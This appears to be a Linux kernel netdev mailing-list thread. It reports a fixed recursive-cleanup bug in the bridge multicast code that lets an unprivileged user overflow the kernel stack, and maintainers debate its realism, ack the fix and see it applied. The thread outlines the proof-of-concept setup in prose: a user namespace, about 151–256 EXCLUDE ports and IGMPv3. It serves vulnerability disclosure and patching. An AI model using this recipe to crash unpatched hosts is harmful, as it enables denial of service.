> 
> Hi Linux kernel maintainers,
> 
> We found and validated an issue in net/bridge/br_multicast.c. The bug is
> reachable by a non-root user via user and network namespaces. We've tested
> it, and it should not affect any other bridge multicast functionality.
> 
> This bug is tracked at: https://bugtracker.nebusec.ai/f/4342
> 
> We will provide detailed information about the bug in this email, along
> with a PoC to trigger it.
> 
> ---- details below ----
> 
> Bug details:
> 
> When an EXCLUDE (*,G) port is deleted, br_multicast_star_g_handle_mode()
> removes its corresponding temporary STAR_EXCL (S,G) port. For an (S,G)
> entry, br_multicast_del_pg() then calls
> br_multicast_sg_del_exclude_ports() to remove the remaining automatically
> added ports. That helper also calls br_multicast_del_pg() for each port,
> which re-enters the same cleanup and adds another stack frame per port.
> With enough ports, the task hits the kernel stack guard page.

What is the value of "enough"?

We get lots of bug reports for theoretical issues which in practice
will never happen. And we get some reports for real issues which can
happen. You are more likely to get your reported looked at if you make
it clear the issues really can happen, give todays systems.

> The PoC uses unshare -Urn, creates 256 temporary EXCLUDE ports and a
> permanent INCLUDE source entry with IGMPv3 enabled, then deletes one
> EXCLUDE port.

So a hardware switch with 256 ports is on the high side, but this
could happen in an SDN setup.

      Andrew

Re: [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup

[Zixuan Chai]

On Mon, 28 Sept 2026 at 00:31, Andrew Lunn <andrew@lunn.ch> wrote:
>
> On Sun, Sep 27, 2026 at 01:04:38AM +0800, Ren Wei wrote:
> > From: Zixuan Chai <petalzu987@gmail.com>
> >
> > Hi Linux kernel maintainers,
> >
> > We found and validated an issue in net/bridge/br_multicast.c. The bug is
> > reachable by a non-root user via user and network namespaces. We've tested
> > it, and it should not affect any other bridge multicast functionality.
> >
> > This bug is tracked at: https://bugtracker.nebusec.ai/f/4342
> >
> > We will provide detailed information about the bug in this email, along
> > with a PoC to trigger it.
> >
> > ---- details below ----
> >
> > Bug details:
> >
> > When an EXCLUDE (*,G) port is deleted, br_multicast_star_g_handle_mode()
> > removes its corresponding temporary STAR_EXCL (S,G) port. For an (S,G)
> > entry, br_multicast_del_pg() then calls
> > br_multicast_sg_del_exclude_ports() to remove the remaining automatically
> > added ports. That helper also calls br_multicast_del_pg() for each port,
> > which re-enters the same cleanup and adds another stack frame per port.
> > With enough ports, the task hits the kernel stack guard page.
>
> What is the value of "enough"?

Thanks for your review.
By "enough", we mean 151 temporary EXCLUDE ports in our tested setup.
This is the smallest number of ports we have tested that triggers the
issue.

> We get lots of bug reports for theoretical issues which in practice
> will never happen. And we get some reports for real issues which can
> happen. You are more likely to get your reported looked at if you make
> it clear the issues really can happen, give todays systems.
>
> > The PoC uses unshare -Urn, creates 256 temporary EXCLUDE ports and a
> > permanent INCLUDE source entry with IGMPv3 enabled, then deletes one
> > EXCLUDE port.
>
> So a hardware switch with 256 ports is on the high side, but this
> could happen in an SDN setup.

We also believe this is realistic in SDN and container setups, where a
single bridge can have hundreds of virtual ports.

Thanks,
Zixuan Chai

Re: [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup

[Nikolay Aleksandrov]

On 27/09/2026 22:35, Zixuan Chai wrote:
> On Mon, 28 Sept 2026 at 00:31, Andrew Lunn <andrew@lunn.ch> wrote:
>>
>> On Sun, Sep 27, 2026 at 01:04:38AM +0800, Ren Wei wrote:
>>> From: Zixuan Chai <petalzu987@gmail.com>
>>>
>>> Hi Linux kernel maintainers,
>>>
>>> We found and validated an issue in net/bridge/br_multicast.c. The bug is
>>> reachable by a non-root user via user and network namespaces. We've tested
>>> it, and it should not affect any other bridge multicast functionality.
>>>
>>> This bug is tracked at: https://bugtracker.nebusec.ai/f/4342
>>>
>>> We will provide detailed information about the bug in this email, along
>>> with a PoC to trigger it.
>>>
>>> ---- details below ----
>>>
>>> Bug details:
>>>
>>> When an EXCLUDE (*,G) port is deleted, br_multicast_star_g_handle_mode()
>>> removes its corresponding temporary STAR_EXCL (S,G) port. For an (S,G)
>>> entry, br_multicast_del_pg() then calls
>>> br_multicast_sg_del_exclude_ports() to remove the remaining automatically
>>> added ports. That helper also calls br_multicast_del_pg() for each port,
>>> which re-enters the same cleanup and adds another stack frame per port.
>>> With enough ports, the task hits the kernel stack guard page.
>>
>> What is the value of "enough"?
> 
> Thanks for your review.
> By "enough", we mean 151 temporary EXCLUDE ports in our tested setup.
> This is the smallest number of ports we have tested that triggers the
> issue.
> 
>> We get lots of bug reports for theoretical issues which in practice
>> will never happen. And we get some reports for real issues which can
>> happen. You are more likely to get your reported looked at if you make
>> it clear the issues really can happen, give todays systems.
>>
>>> The PoC uses unshare -Urn, creates 256 temporary EXCLUDE ports and a
>>> permanent INCLUDE source entry with IGMPv3 enabled, then deletes one
>>> EXCLUDE port.
>>
>> So a hardware switch with 256 ports is on the high side, but this
>> could happen in an SDN setup.
> 
> We also believe this is realistic in SDN and container setups, where a
> single bridge can have hundreds of virtual ports.
> 
> Thanks,
> Zixuan Chai

Noone will setup an mdb with 150 ports, sorry but it is not realistic at all,
not even by a long shot. I'd send this for net-next.

Either way the fix is small and looks correct.

Acked-by: Nikolay Aleksandrov <razor@blackwall.org>

Re: [PATCH net 0/1] net: bridge: avoid recursive multicast cleanup

[patchwork-bot+netdevbpf]

Hello:

This patch was applied to netdev/net.git (main)
by David S. Miller <davem@davemloft.net>:

On Sun, 27 Sep 2026 01:04:38 +0800 you wrote:
> From: Zixuan Chai <petalzu987@gmail.com>
> 
> Hi Linux kernel maintainers,
> 
> We found and validated an issue in net/bridge/br_multicast.c. The bug is
> reachable by a non-root user via user and network namespaces. We've tested
> it, and it should not affect any other bridge multicast functionality.
> 
> [...]

Here is the summary with links:
  - [net,1/1] net: bridge: avoid recursive multicast port cleanup
    https://git.kernel.org/netdev/net/c/5158353121ba

You are awesome, thank you!
-- 
Deet-doot-dot, I am a bot.
https://korg.docs.kernel.org/patchwork/pwbot.html